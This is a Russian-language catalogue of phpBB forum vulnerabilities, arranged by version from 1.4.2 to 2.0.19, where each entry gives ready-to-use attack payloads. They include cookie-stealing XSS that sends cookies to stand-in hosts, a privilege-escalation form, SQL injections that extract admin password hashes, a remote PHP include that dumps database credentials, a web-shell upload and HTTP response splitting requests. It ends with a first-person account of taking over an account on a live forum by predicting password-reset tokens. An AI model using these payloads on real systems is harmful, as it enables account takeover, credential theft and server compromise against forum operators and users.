1.4.2 version:
--
Cross Site Scripting:
Cross Site Scripting позволяет нападающим вставлять JavaScript код (и другой код HTML) в существующие сообщения.
Пример:
{img}javascript:alert('This is the test'){/img}
--
1.4.4 version:
--
DoS и нарушение структуры базы данных:
Уязвимость существует в выполнении phpBB's BBcode ({code}{/code},{quote}{/quote},{list}{/list}).
Добавление строки ‘0000000’ внутри одного из этих тэгов, приведет к 100% потреблению ресурсов памяти и процессора на уязвимом сервере и к нарушении структуры базы данных.
Пример:
1. {code}'0'*800{/code}
2. {code}0{code}0{code}0{/code}0{/code}0{/code}
--
2.0.0 version:
--
Межсайтовый скриптинг:
Уязвимость защиты в программе позволяет удаленным нападающим вставлять злонамеренный HTML и JavaScript код в существующие web-страницы внутри тэга IMG специальной конструкции:
{img}http://a.a/a"onerror="javascript:alert(document.cookie){/img}
--
Повышение привилегий:
Уязвимость позволяет пользователю с учетной записью "user" поднять свои привилегии до уровня "administrator", тем самым получая полный контроль над управлением форума.
Ошибка присутствует в сценарии admin_ug_auth.php (используется для установления разрешения). Для просмотра защищенных страниц сценарий способен ограничить доступ непривилегированным пользователям, но он не производит такую проверку при отправлении назад данных. Демонстрационный код:
<html><head></head><body> <form method="post" action="http://domain_name/board_directory/admin/admin_ug_auth.php">User Level: <select name="userlevel"><option value="admin">Administrator</option><option value="user">User</option></select><input type="hidden" name="private[1]" value="0"><input type="hidden" name="moderator[1]" value="0"><input type="hidden" name="mode" value="user"><input type="hidden" name="adv" value="">User Number: <input type="text" name="u" size="5"><input type="submit" name="submit" value="Submit"> </form></body></html>
Далее отредактируйте действие формы в этом коде, измените местоположение admin сценария. Обычно, он находится в подкаталоге /admin/. Затем вызовите код в локальном окне браузера, и введите номер неадминистративного пользователя. Нажмите submit. При следующем заходе, вы получите права администратора.
--
2.0.2 version:
--
Административный доступ:
Обнаружена возможность изменения SQL запроса. Удаленный пользователь может получить хеш пароля администратора и, используя его, получить полный контроль над PHPbb системой.
Уязвимость обнаружена в сценарии page_header.php.
Например, чтобы взломать user_id '40', запросите следующую страницу:
forum_id=1+or+user_id=40+and+mid(user_password,1,1 )=char(97)/*[
В результате запрос будет выглядеть следующим образом:
SELECT u.username, u.user_id, u.user_allow_viewonline, u.user_level,
s.session_logged_in, s.session_ip FROM phpbb_users u, phpbb_sessions s WHERE
u.user_id = s.session_user_id AND s.session_time >= 1035778374 AND s.session_page =
1 or user_id=40 and mid(user_password,1,1)=char(97)/* ORDER BY u.username ASC,
s.session_ip ASC
Имя администратора системы можно просмотреть вверху списка пользователей внизу страницы форума. Далее добавляя хеш пароля в куки, можно войти на сайт как администратор системы. Например, если user_id равен 32360, и хеш пароля - 6a204bd89f3c8348afd5c77c717a097a, то атакующий должен добавить следующее значение:
a:2:{s:11:"autologinid";s:32:"
6a204bd89f3c8348afd5c77c717a097a";s:6:"userid";s:5 :"31360";} www.phpbb.com/ 1536 1063947136 29596959 197425936 29523534 *
Затем urlencode() это и поместите в куки с переменной 'phpbb2support_data', затем обратитесь к административной странице на phpbb сайте. Демонстрационный эксплоит:
http://{target}/phpBB/prefs.php?HTTP_POST_VARS{save}
=1&passwd=asdfasdf&viewemail=0&savecookie=0&sig=0& smile=0&dishtml=0&disbbcode=0&themes =1?=/../../../var/logs/apache/access.log%00&save=1&user=admin&submit=Save%20Pref erences
--
2.0.3 version:
--
Выполнение произвольного PHP кода:
Уязвимость позволяет удаленному атакующему внедрить путь к 'extension.inc' в сценарии 'quick_reply.php'. В результате, атакующий может внедрить произвольный PHP сценарий из своего источника, который может использоваться для выполнения произвольных команд на Web сервере. Пример:
Создаем сценарий 'extension.inc' на удаленном сервере:
<?phpinclude('config'.'.php');echo "DB Type: $dbms <br>";echo "DB Host: $dbhost <br>";echo "DB Name: $dbname <br>";echo "DB User: $dbuser <br>";echo "DB Pass: $dbpasswd <br>";exit;?>
Затем запрос:
phpbb_root_path=http://attackersite....d/&mode=smilies
Раскроет содержание базы данных форума.
--
Межсайтовый скриптинг:
Из-за недостаточной фильтрации ввода пользователя, удаленный атакующий может внедрить произвольный код сценария в сгенерированную страницу поиска. Уязвимость может использоваться для кражи опознавательных мандатов, хранящихся в куки. Пример:
<html> <body> <form method="post" name="search" action="http://target/search.php?mode=searchuser"> <input type="hidden" name="search_username" value=""/> </form> <script> search.search_username.value='Http://savecookie/x.php?Cookie="><script>location=search.search_username.value+document.cookie;</script>'; document.search.submit(); </script> </body> </html>
--
SQL Injection:
phpBB пользователь может посылать приватные сообщения другим пользователям. Обнаруженная уязвимость позволяет пользователю удалить текст всех приватных сообщений, сохраненных в системе.
Функция для удаления приватных сообщений уязвима к SQL инъекции. Если мы представляем данные, в которых мы хотим удалить приватное сообщение с номером ‘1) OR 1=1 #’, текст всех сообщений будет удален.
Сообщения хранятся в двух таблицах, и SQL инъекция будет воздействовать только на одну из них, так что будут удалены все тела сообщений, а темы и метаданные будут удалены, если они принадлежат текущему пользователю. Это означает, что темы удаленных сообщений все еще можно обнаружить в папках других пользователей. огда пользователь нажимает на такое удаленное сообщение, он будет переадресован назад к папке.
Вы можете эксплуатировать это, отправляя(POST) следующее значение к privmsg.php?folder=inbox*sid = {SID}:
mode=""
delete="true"
mark{}="1) OR 1=1 #"
confirm="Yes"
текущее значение SID можно увидеть в URL полях, если вы вошли в систему с отключенными куки.
--
2.0.5 version:
--
Межсайтовый скриптинг:
Удаленный пользователь может выполнить XSS нападение.
Сообщается, что форум не фильтрует HTML код в переменной topic_id в сценарии viewtopic.php. Удаленный пользователь может сконструировать специально обработанный URL, содержащий произвольный HTML код, который будет выполнен в браузере пользователя, просматривающего эту ссылку, в контексте уязвимого сайта. Пример:
http://{site}/phpBB/viewtopic.php?topic_id={script}
Уязвимость может использоваться для кражи опознавательных данных, хранящихся в куки целевого пользователя.
--
SQl инъекция:
Удаленный пользователь может выполнить нападение SQL инъекции.
Сценарий 'profile.php' не проверяет переменую 'u'при отображении профиля пользователя. Удаленный пользователь может представить специально сформированный HTTP Get запрос, чтобы выполнить произвольные SQL команды на основной базе данных.
Пример/Эксплоит:
http://{target}/profile.php?mode=viewprofile&u='{sqlcode
--
2.0.5 version + MySQL 4:
--
SQL инъекция:
Уязвимость в проверке правильности ввода обнаружена в PHPbb. Удаленный пользователь может получить хеши паролей пользователей, включая администратора системы, и затем декодировать их.
Сообщается, что сценарий viewtopic.php не проверяет данные, представленные пользователем в переменной $topic_id, перед выполнением SQL запроса. Удаленный атакующий может представить специально обработанное значение для этой переменной, чтобы выполнить дополнительный SQL запрос и получить произвольные данные их MySQL базы данных, включая MD5 хеши паролей пользователей форума, включая администратора системы.
Exploit: [here!] (2.0.5+MySQL4.perl.txt)
--
2.0.6 version:
--
Межсайтовый скриптинг:
Удаленный атакующий может вставить произвольный HTML код в тело сообщения.
Удаленный атакующий может вставить специально отформатированный BB тэг (bbcode) {url}{/url}, чтобы заставить форум отобразить произвольный код сценария в браузере пользователя, просматривающего злонамеренное сообщение.
Пример/Эксплоит:
{url=www.somename.ru" onclick=alert('Hello')}text{/url}
{URL=http://www. somename.ru" onclick="alert'Hello'}text{/URL}
{URL=www. somename.ru" onclick="alert'Hello'}text{/URL}
--
Межсайтовый скриптинг:
Удаленный авторизованный администратор может выполнить XSS нападение против других администраторов форума.
Удаленный администратор может сконструировать специально обработанную smiley панель таким образом, чтобы выполнить произвольный код сценария в браузере другого администратора, просматривающего эту панель.
Пример/Эксплоит: Поместите в smiley панель:
<script>alert('Css work')</script>
--
SQL иньекция:
Удаленный пользователь может внедрить SQL команды, чтобы получить административный доступ к приложению.
Как сообщается, сценарий 'search.php' не достаточно проверяет параметр 'search_id'. Удаленный пользователь может послать специально обработанное значение, чтобы выполнить произвольные SQL команды на целевом сервере, например, чтобы получить хэши паролей администратора. С хэшами паролей, удаленный пользователь может изменить свои куки, чтобы получить доступ к системе. Воздействие уязвимости зависит от версии используемой базы данных MySQL.
Для определения уязвимости, выполните следующий запрос:
Если ваша система уязвима, то запрос выдаст SQL ошибку:
SQL Error : 1064 You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use near ' AND
session_id = '9c9052fd135c0cefb31ec4b5124060f7''
SELECT search_array FROM phpbb_search_results WHERE search_id = 1 AND session_id
= '9c9052fd135c0cefb31ec4b5124060f7'
Line : 693
File : /usr/local/www/data/phpBB2/search.php
Эксплоит (боле подробное описание см. в источнике сообщения) (работает только в MySQL 4.x!):
(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114 ,99,104,95,114,101,115,117,108,116,
115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58 ,34,116,111,116,97,108,95,109,97,116,
99,104,95,99,111,117,110,116,34,59,105,58,53,59,11 5,58,49,50,58,34,115,112,108,105,116,
95,115,101,97,114,99,104,34,59,97,58,49,58,123,105 ,58,48,59,115,58,51,50,58,34)
,user_password,char(34,59,125,115,58,55,58,34,115, 111,114,116,95,98,121,34,59,105,58,48,
59,115,58,56,58,34,115,111,114,116,95,100,105,114, 34,59,115,58,52,58,34,68,69,83,67,34,59,
115,58,49,50,58,34,115,104,111,119,95,114,101,115, 117,108,116,115,34,59,115,58,54,58,34,116,111,112
,105,99,115,34,59,115,58,49,50,58,34,114,101,116,1 17,114,110,95,99,104,97,114,115,34,59,
105,58,50,48,48,59,125))%20from%20phpbb_users%20wh ere%20user_id={id}/*
--
SQL инъекция:
Удаленный авторизованный модератор может внедрить произвольные SQL команды.
Сообщается, что функция 'groupcp.php' не проверяет правильность данных, представленных пользователем в $sql_in переменной. Удаленный авторизованный пользователь с 'moderator' привилегиями может представить специально обработанный URL, чтобы выполнить произвольные команды на целевом сервере.
--
Sql инъекция:
Уязвимость обнаружена в phpBB в 'search.php'. Удаленный пользователь может выполнить произвольные SQL команды.
Уязвимость обнаружена в 'search.php' в параметре 'show_results', кода переменная $show_results не установлена к 'posts' или 'topics'.
Exploit: [here!] (2.0.6.perl.txt)
--
2.0.6c version:
--
Межсайтовый скриптинг:
Уязвимость обнаружена в phpBB в 'viewtopic.php'. Удаленный пользователь может выполнить XSS нападение.
Уязвимость обнаруженав параметре 'postorder' в сценарии 'viewtopic.php'. Пример:
%22%3E%3C%73%63%72%69%70%74%3E%61
%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6 F%6B%69%65%
--
2.0.6d version:
--
Межсайтовый скриптинг:
Уязвимость обнаружена в phpBB в 'viewtopic.php' и 'viewforum.php'. Удаленный пользователь может выполнить XSS нападение.
viewforum.php?f={FNUM}&topicdays={DNUM}{XSS}
viewforum.php?f=1&topicdays=99"><script>alert(docu ment.cookie)</script>&star t=30
viewtopic.php?t=10&postdays=99"><script>alert(docu ment.cookie)</script>&start=20
--
Межсайтовый скриптинг:
Уязвимость обнаружена в phpBB в 'profile.php'. Удаленный пользователь может выполнить XSS нападение.
Пример/Эксплоит:
-------------exploit.htm--------------<form name='f' action="http://site/profile.php?mode=editprofile" method="post"><input name="avatarselect" value='" ><script>alert(document.cookie)</script>'><input type="submit" name="submitavatar" value="Select avatar"></form><script>window.onload=function(){document.all.submitavatar.click();}</script>---------------end-------------------
2.0.7a version:
--
Sql инъекция:
Удаленный авторизованный администратор может внедрить SQL команды. Удаленный пользователь может выполнить XSS нападение.
Пример:
admin_smilies.php?mode=edit&id=99 UNION SELECT 0,username,0,user_password FROM othersite_phpbb_users WHERE user_id=2
и еще:
admin_smilies.php?mode=edit&id={SQL}
admin_ smilies.php?mode=delete&id={SQL}
admin_smilies.php?mode=edit&id={XSS}
admin_smilies.php?mode=delete&id={XSS}
admin_styles.php?mode=edit&style_id={SQL}
admin_styles.ph p?mode=delete&style_id={SQL}
admin_styles.php?mode=edit&style_id={XSS}
admin_styles.php?mode=delete&style_id={XSS}
Также сообщается, что множество сценариев не проверяют ID сессии. В результате удаленный пользователь может внедрить phpBB команды в тело сообщения, которые будут выполнены в браузере целевого пользователя, просматривающего сообщение форума.
--
2.0.8 version:
--
Sql инъекция:
Уязвимость в проверке правильности входных данных обнаружена в 'privmsg.php' сценарии. Удаленный пользователь может внедрить произвольный SQL код.
Пример:
pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20username,null,
user_password,null,null,null,null,null,null,null,n ull,null,null,null,null,null,null,null
,null,null,null,null,null,null,null,null,null,null ,null,null,null FROM phpbb_users WHERE user_level=1 LIMIT 1/*
/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_u ser=AND pm.privmsgs_type=-99 UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username,0 ,0,0,0,0,0,0,0,0,user_password FROM phpbb_users WHERE user_id=2 LIMIT 1/*
--
Раскрытие пути:
--
XSS:
in "index.php":
{cat_id}=1&category_rows{0}{cat_title}=waraxe<scri pt>alert(document.cookie);</script>&category_rows{0}{cat_order}=99
in "languagelang_englishlang_faq.php":
http://localhost/phpbb208/faq.php?faq{0}{0...document.cookie );</script>bar&faq{0}{1}=waraxe
in "languagelang_englishlang_bbcode.php ":
{0}=f00<script>alert(document.cookie);</script>bar&faq{0}{1}=waraxe
--
2.0.8а version:
--
Спуфинг IP адресов:
Удаленный пользователь может подделать свой IP адрес, который будет зарегистрирован приложением.
Удаленный пользователь может сконструировать специально обработанный 'X-Forwarded-For' HTTP заголовок, чтобы подменить свой реальный IP адрес произвольным IP адресом.
В результате удаленный пользователь может обойти ограничения доступа к приложению по IP адресу.
--
2.0.10 version:
--
Межcайтовый скриптинг и Response Splitting Attacks:
Уязвимость позволяет удаленному пользователю выполнить XSS нападение.
1. Сценарий /phpBB2/search.php' не фильтрует HTML код в поле 'search_author'. Пример:
search_author=%27%3Cscript%3Ealert(document.cookie )%3C/script%3E
Также сообщается, что phpBB уязвим к HTTP Response Splitting нападениям (как описано в
http://www.sanctumin.....PResponse.pdf). Удаленный пользователь может отравить еш web прокси. Уязвимы сценарии '/phpBB2/privmsg.php' и '/phpBB2/login.php'. Пример запроса:
POST /phpBB2/login.php HTTP/1.0
Host: SERVER
User-Agent: Mozilla/4.7 {en} (WinNT; I)
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Content-Type: application/x-www-form-urlencoded
Content-length: 129
logout=foobar&redirect=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTT
P/1.0%20200%20OK%0d%0aContent-Length:%207%0d%0a%0d%0aGotcha!
Еще пример:
GET /phpBB2/privmsg.php?mode=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200
%20OK%0d%0aContent-Length:%207%0d%0a %0d%0aGotcha!
HTTP/1.0
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.7 {en} (WinNT; I)
Host: SERVER
--
SQL-инъекция и php инклудинг:
Удаленный атакующий может выполнить произвольный SQL команды и php код на уязвимой системе.
Уязвимость существует при обработке спецсимволов в строке URL. Удаленный атакующий может выполнить SQL-инъекцию и произвольный php-сценарий на уязвимой системе. Пример:
viewtopic.php?t=1&highlight=%2527
Exploit: [here!] (2.0.10.perl.txt)
Exploit: [here!] (2.0.10-2.perl.txt)
--
Межсайтовое выполнение сценариев:
Удаленный атакующий может получить доступ к важным данным пользователей.
Уязвимость существует из-за некорректной обработки входных данных переменной 'username'. Удаленный атакующий может создать сообщение, которое при просмотре выполнить произвольный HTML код в браузере жертвы.
--
2.0.11 version:
--
Просмотр и удаление произвольных файлов:
Уязвимость форуме позволяет удаленному пользователю раскрыть содержание и удалять (unlink) произвольные файлы на системе с привилегиями Web сервера.
Уязвимость в phpBB в нескольких сценариях, отвечающих за обработку аватаров (usercp_avatar.php, usercp_viewprofile.php и usercp_register.php) позволяет удаленному пользователю контролировать параметры, переданные функции unlink().
--
2.0.12 version:
--
Удаленный административный доступ:
Уязвимость позволяет удаленному пользователю обойти некоторые ограничения безопасности и получить административные привилегии на форуме.
Уязвимость связана с ошибков в сравнении "sessiondata{'autologinid'}" и "auto_login_key". В результате возможно получить административные привилегии на форуме. Логическая уязвимость обнаружена в сценарии includes/sessions.php в следующей строке:
if( $sessiondata{'autologinid'} == $auto_login_key )
Условие выполняется, если длина $sessiondata{'autologinid'}, представленная в куки пользователя, равна длине переменной $auto_login_key. Для исправления уязвимости ее необходимо заменить на строку:
if( $sessiondata{'autologinid'} === $auto_login_key )
Также сообщается об ошибке в "viewtopic.php", которая позволят раскрыть инсталляционный путь.
Exploit: [here!] (2.0.12.c.txt)
--
2.0.13 version:
--
XSS-атака в сценарии usercp_register.php:
Уязвимость позволяет удаленному пользователю произвести межсайтовый скриптинг и получить доступ к важным данным пользователей.
Уязвимость обнаружена в сценарии 'usercp_register.php' из-за недостаточной обработки входных данных в перемененных 'allowhtml', 'allowbbcode', и 'allowsmilies' в подписи пользователя. Злоумышленник может послать частное сообщение со специально обработанной подписью, чтобы выполнить произвольный HTML сценарий в браузере целевого пользователя.
--
Раскрытие установочной директории:
Уязвимость позволяет злоумышленнику получить информацию об установочной директории приложения на сервере.
Уязвимость существует в сценарии 'phpBB/db/oracle.php'. Удаленный пользователь может непосредственно вызвать уязвимый сценарий и получить информацию об установочной директории приложения на сервере.
--
Получение административных привилегий:
Exploit: [here!] (2.0.13-admin.c.txt)
--
Получение хеша паролей:
Exploit: [here!] (2.0.13.perl.txt)
--
Загрузка произвольных файлов:
Уязвимость позволяет удаленному пользователю загрузить произвольный файл на сервер.
Уязвимость существует в сценарии up.php из-за некорректной проверки расширений файлов. Удаленный авторизованный пользователь может загрузить произвольный php файл и выполнить его с привилегиями web сервера.
Пример Эксплоита:
<?system($cmd)?>
Сохраняем как cmd.php
Открываем http://target/phpbb/up.php
И загружаем наш код.
Его можно увидеть http://targey/phpbb/uploads/cmd.php
Запуская видим:
Warning: system(): Cannot execute a blank command in /home/target/public_html/forum/uploads/tetx.php on line 2
Следовательно мы можем выполнить NIX команды с привеленгиями веб сервера.
--
2.0.15 version:
--
Межсайтовый скриптинг в при обработке BBCODE URL:
Уязвимость позволяет удаленному пользователю произвести XSS нападение и получить доступ к потенциально важным данным других пользователей.
Уязвимость обнаружена при обработке BBCODE URL в сценарии bbcode.php. Удаленный пользователь может с помощью специально сформированного сообщения выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта. Примеры:
{url=javascript://%0ASh=alert(%22CouCou%22);window.close();}Alert box with "CouCou"{/url}
{url=javascript://%0ASh=new%20ActiveXObject(%22WScript.shell%22);
Sh.regwrite(%22HKCU%5C%5CQQQQQ
%5C%5Cqq%22,%22CouCou%22);window.close();}Create registry entry: HKCUQQQQQqq = "CouCou"{/url}
{url=javascript://%0Awindow.opener.document.body.innerHTML
=window.opener.document.body.innerHTML.replace(%27 Hi%20Paul%27,%27Hi%20P.A.U.L%27);
window.close();}Modify opener page: Paul -> P.A.U.L{/url}
--
Регистрация множества юзеров. Отказ в обслуживание:
Exploit: [here!] (2.0.15-DOS.c.txt)
--
Выполнение произвольного PHP сценария в phpBB в коде highlighting: (update time:02.07.05)
Пример:
Позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.
Уязвимость существует из-за некорректного использования функции preg_replace() в сценарии 'viewtopic.php' при обработке входных данных. Удаленный пользователь может с помощью специально сформированного запроса заставить приложение интерпретировать входные данные как PHP сценарий и выполнить его.
Exploit: [here!] (2.0.15.perl.txt)
2.0.19 version:
--
Раскрытие данных:
Уязвимость существует из-за того, что ID сессии включается в заголовок HTTP "Referer" при отправке запросов внешние аватары или при создании ссылок на внешние сайты. Злоумышленник может заставить администратора просмотреть профиль пользователя, содержащий внешний аватар, и получить ID сессии администратора. Для удачной эксплуатации уязвимости необходимо, чтобы использование внешних аватаров было разрешено на сайте (не является значением по умолчанию).
Примеры:
http://[HOST]/[DIR]/admin/admin_users.php?sid=88eafcce6dddcee3fccc08de7ec505d0
http://[HOST]/[DIR]/modcp.php?t=2&mode=split&sid=c1db64124b7ced0668dec5900fed3b35
--
XSS:
В admin/admin_smilies.php вы можите изменять / создавать смайлы. Нечего особенного но phpBB не проверят что происходит в БД.
$smile_code = ( isset($HTTP_POST_VARS['smile_code']) ) ? $HTTP_POST_VARS['smile_code'] : $HTTP_GET_VARS['smile_code'];$smile_url = ( isset($HTTP_POST_VARS['smile_url']) ) ? $HTTP_POST_VARS['smile_url']: $HTTP_GET_VARS['smile_url'];$smile_url = phpbb_ltrim(basename($smile_url), "'");$smile_emotion = ( isset($HTTP_POST_VARS['smile_emotion']) ) ? $HTTP_POST_VARS['smile_emotion'] : $HTTP_GET_VARS['smile_emotion'];$smile_code = trim($smile_code);$smile_url = trim($smile_url);$smile_emotion = trim($smile_emotion); // If no code was entered complain ...if ($smile_code == '' || $smile_url == ''){message_die(GENERAL_MESSAGE, $lang['Fields_empty']);} //// Convert < and > to proper htmlentities for parsing.//$smile_code = str_replace('<', '<', $smile_code);$smile_code = str_replace('>', '>', $smile_code); //// Save the data to the smiley table.//$sql = "INSERT INTO " . SMILIES_TABLE . " (code, smile_url, emoticon)VALUES ('" . str_replace("'", "''", $smile_code) . "', '" . str_replace("'", "''", $smile_url) . "', '" . str_replace("'", "''", $smile_emotion) . "')";$result = $db->sql_query($sql);
Примеры:
http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:x:&smile_url=icon_mrg
reen.gif&smile_emotion=c" onmouseover="alert('SecurityReason.Com')" &sid=SIDofADMIN
http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:h:&smile_url=icon_mrg
reen.gif"%20onmouseover='alert("SecurityReason.Com")'%20&sid=SIDofADMIN
http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:q:&smile_url=icon_mrg
reen.gif"%20onmouseover="alert(document.location='http://[SRVER]/cookies?'+document.co
okie)"%20&sid=SIDofADMIN
--
Узявимость в в генераторе случаных чисел:
При восстановление пароля пользователь вводит е-маил и имя пользователя.phpBB генерирует id подтверждения
/includes/usercp_sendpasswd.php line 51"$user_actkey = gen_rand_string(true);" and than generate a password. /includes/usercp_sendpasswd.php line 55"$user_password = gen_rand_string(false);"
Id подтверждения отсылаеться на е-маил с сылкой по которой должен проследовать пользователь для подтверждения. Давайте посмотрим на gen_rand_string() функцию:
/profile.php line 61function gen_rand_string($hash){$chars = array( 'a', 'A', 'b', 'B', 'c', 'C', 'd', 'D', 'e', 'E', 'f', 'F', 'g', 'G', 'h', 'H', 'i', 'I', 'j', 'J', 'k', 'K', 'l', 'L', 'm', 'M', 'n', 'N', 'o', 'O', 'p', 'P', 'q', 'Q', 'r', 'R', 's', 'S', 't', 'T', 'u', 'U', 'v', 'V', 'w', 'W', 'x', 'X', 'y', 'Y', 'z', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'); $max_chars = count($chars) - 1;srand( (double) microtime()*1000000); $rand_str = '';for($i = 0; $i < 8; $i++){$rand_str = ( $i == 0 ) ? $chars[rand(0, $max_chars)] : $rand_str . $chars[rand(0, $max_chars)];} return ( $hash ) ? md5($rand_str) : $rand_str;
зная, что PRNG's действительно не случаен, и что данный те же самые, PRNG произведет те же самые случайные числа, мы можем безопасно предположить это из-за "srand( (double) microtime()*1000000); " то число всегда будет от 1 до 999,999. Также знание, что пароль сгенерирован прямо после получения id подтверждения, как только мы получаем id подтверждения, индексное микровремя, используемое, чтобы отобрать поколение пароля не будет слишком далеко, чем микровремя имело обыкновение отбирать id подтверждения. Самое плохое в этом сценарии атаки - то, что Вы должны будете послать 1мил запросов на сброс пароля , нападавший может однако снизить этот показатель к диапазону 100 КБ, если он с умеет синхронизировать, время посылки запросы со временим на сервере, А оно отображаетсья на каждой главной странице любого форума.
[phpbb - нападение]
Я написал 3 программы, ту, которая создовала произвольные пароли и таблицы id подтверждений , ту, которая посылала GET запросы для активизации смены пароля и последнию, которая использовала список паролей, чтобы сделать нападение по словарю на учетную запись phpbb. Испытательный сайт, который я решил использовать, останется анонимным (я был забанен!) После производства id подтверждения и паролей, я решил пробовать сбросить мою собственную учетную запись. Я запросил изменение пароля к моей собственной учетной записи. Я немедленно запустил мою вторую программу, чтобы послать id's подтверждения, которые были усечены, чтобы иметь только 6 символов (длина используемую на сервере).
После 40 минут программа пометила это, это сумело сбросить пароль, и это выводило id подтверждения, который активизировал изменение пароля. Я взял id подтверждения, открыл мою таблицу и узнал, что логин проверки правильности был в индексе 117312 (мне повезло , могло, были и больше). Я открыл таблицу паролей, удалил все перед индексом 117312 и все после индекса 120000,получилс список в 2688 пароля. Я запустил мою заключительную программу, используя список паролей. Я получил новый пароль в течение 10 секунд, это было в индексе 117490, что означает, что чтобы произвести id подтверждения надо примерно 178.